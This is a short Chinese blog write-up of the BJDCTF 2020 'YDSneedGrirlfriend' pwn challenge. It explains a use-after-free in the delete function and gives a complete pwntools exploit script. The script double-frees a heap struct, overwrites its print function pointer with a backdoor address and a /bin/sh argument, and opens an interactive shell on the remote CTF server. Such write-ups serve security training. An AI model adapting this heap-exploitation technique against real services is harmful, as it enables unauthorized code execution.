bjdctf_2020_YDSneedGrirlfriend

流程分析

这个是比较简单的,跳过

漏洞利用

由于delete函数有uaf漏洞,还有后门函数,所以可以劫持girlfriendlist的puts函数,在把/bin/sh的地址放在+8的偏移上即可

  1. 先创建两个0x10的结构体,程序会创建4个
  2. double free掉第0个
  3. 申请一个0x32的,这时堆的情况是第0个的girlfriendlist结构体是空的,我们可以控制这个结构体里的函数了,劫持

 

from pwn import *

#p=process('./bjdctf_2020_YDSneedGrirlfriend')
p=remote('node3.buuoj.cn',27473)
context.log_level='debug'
def add(size,content):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('is :')
    p.sendline(str(size))
    p.recvuntil('is :')
    p.sendline(content)

def delete(idx):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))

def print_fun(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(idx))

sys_addr=0x400B9C
bin_sh=0x400E00
add(0x10,'pppp')
add(0x10,'pppp')

delete(0)
delete(0)

add(0x20,'pppp')
add(0x10,p64(sys_addr)+p64(bin_sh))
#gdb.attach(p)
print_fun(0)

p.interactive()

 

posted @ 2020-11-15 20:43  PYozo_free  阅读(219)  评论(0编辑  收藏  举报